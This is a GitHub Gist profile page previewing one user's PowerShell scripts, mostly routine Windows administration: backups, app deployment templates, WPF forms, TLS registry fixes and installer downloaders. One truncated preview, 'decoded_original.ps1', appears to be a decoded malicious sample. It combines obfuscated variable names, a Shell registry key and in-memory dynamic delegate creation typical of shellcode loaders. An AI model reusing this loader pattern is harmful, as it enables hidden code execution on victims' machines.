Skip to content

Instantly share code, notes, and snippets.

Nathan NathanTheGr8

Block or report user

Report or block NathanTheGr8

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View Backup-UserFolders.ps1
$OneDriveFolder = "$home\OneDrive\Documents\.backup"
$Date = Get-Date -Format "MM-dd-yyyy"
$logFile = "$OneDriveFolder\Backup-UserFoldersLog_$Date.log"
Start-Transcript -Path "$logFile" -Append -Force
if(!(Test-Path -Path $OneDriveFolder)){
New-Item -Path $OneDriveFolder -ItemType Directory
}
if (!((get-item $OneDriveFolder -Force).Attributes.HasFlag([System.IO.FileAttributes]::Hidden))) {
Write-Output "Hiding backup folder $OneDriveFolder"
View Deploy-Application.ps1
<#
.SYNOPSIS
This script performs the installation or uninstallation of an application(s).
# LICENSE #
PowerShell App Deployment Toolkit - Provides a set of functions to perform common application deployment tasks on Windows.
Copyright (C) 2017 - Sean Lillis, Dan Cunningham, Muhammad Mashwani, Aman Motazedian.
This program is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
You should have received a copy of the GNU Lesser General Public License along with this program. If not, see <http://www.gnu.org/licenses/>.
.DESCRIPTION
The script is provided as a template to perform an install or uninstall of an applica
View TestWPF2.ps1
#Load Assembly and Library
Add-Type -AssemblyName PresentationFramework
#XAML form designed using Vistual Studio
#[xml]$Form = Get-Content -Path "$PSScriptRoot\USMTGUI.xaml"
[xml]$Form = @"
<Window
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
Title="Migration Assistant by Nick Rodriguez" Height="600" Width="1000" MinWidth="1000" MinHeight="600">
<Grid>
@NathanTheGr8
NathanTheGr8 / TestWPF.ps1
Created Dec 31, 2018
Example Powershell WPF Form
View TestWPF.ps1
#Load Assembly and Library
Add-Type -AssemblyName PresentationFramework
#XAML form designed using Vistual Studio
#[xml]$Form = Get-Content -Path "$PSScriptRoot\USMTGUI.xaml"
[xml]$Form = @"
<Window
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
Title="Migration Assistant by Nick Rodriguez" Height="550" Width="1000" MinWidth="1000" MinHeight="550">
<Grid>
View kb3140245.ps1
$TLS1dot1 = 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.1\Client'
$TLS1dot2 = 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.2\Client'
$MicrosoftWinHttp = 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\WinHttp'
$Wow6432Node = 'HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\WinHttp'
If (!(test-path $TLS1dot1))
{
New-Item $TLS1dot1 -Force | New-ItemProperty -Name DisabledByDefault -Value 0 -Force
}
else
View Get-AdobeFlashMsi.ps1
#Requires -Version 2
function Get-AdobeFlashMsi {
[CmdletBinding()]
param (
[string]
$Destination = $(Join-Path -Path $env:USERPROFILE -ChildPath 'Downloads' )
View Download-Notepad++.ps1
# Configure Domain to scrape
$Domain = "https://notepad-plus-plus.org"
$AppendToDomain = "/download"
# build URL to scan
$SiteToScan = $Domain + $AppendToDomain
# Scan URL to download file
$url32 = ((Invoke-WebRequest -uri $SiteToScan).links | Where innerHTML -like*Notepad++ Installer 32-bit*”).href
$url64 = ((Invoke-WebRequest -uri $SiteToScan).links | Where innerHTML -like*Notepad++ Installer 64-bit*”).href
View Get-PSADTAppVersion.ps1
function Get-PSADTAppVersion {
<#
.SYNOPSIS
Gets the $appversion varible for a given PSADT package
.DESCRIPTION
Gets the $appversion varible for a given PSADT package
Queries the Deploy-Application.ps1 file for "appversion"
Takes the first string returned. I don't care about other occerences in the file
Converts it to a string
View decoded_original.ps1
$SEf8caWj = "HKLM:\Software\Microsoft\Windows\CurrentVersion\Shell";$lZ7VgLztH = "{4FF23B38-C5A1-5CBE-F25D458E1F8C5642}";function ogbehJFrvi{Param([OutputType([Type])][Parameter( Position = 0)][Type[]]$jbvI6kAQ = (New-Object Type[](0)),[Parameter( Position = 1 )][Type]$TnlpqF = [Void])$SDaRf4 = [AppDomain]::CurrentDomain;$gV2cj6vD = New-Object System.Reflection.AssemblyName('ReflectedDelegate');$koQPMj5 = $SDaRf4.DefineDynamicAssembly($gV2cj6vD, [System.Reflection.Emit.AssemblyBuilderAccess]::Run);$mQQYfW = $koQPMj5.DefineDynamicModule('InMemoryModule', $false);$OSepm3U = $mQQYfW.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]);$GetNMD0W = $OSepm3U.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $jbvI6kAQ);$GetNMD0W.SetImplementationFlags('Runtime, Managed');$KBBPUUP = $OSepm3U.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $TnlpqF, $jbvI6kAQ);$KBBPUUP.SetImplementationFlags('Runtime,
View Example_App.exe.manifest
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0"
processorArchitecture="X86"
name="Example_App.exe"
type="win32"/>
<description>elevate execution level</description>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges>
You can’t perform that action at this time.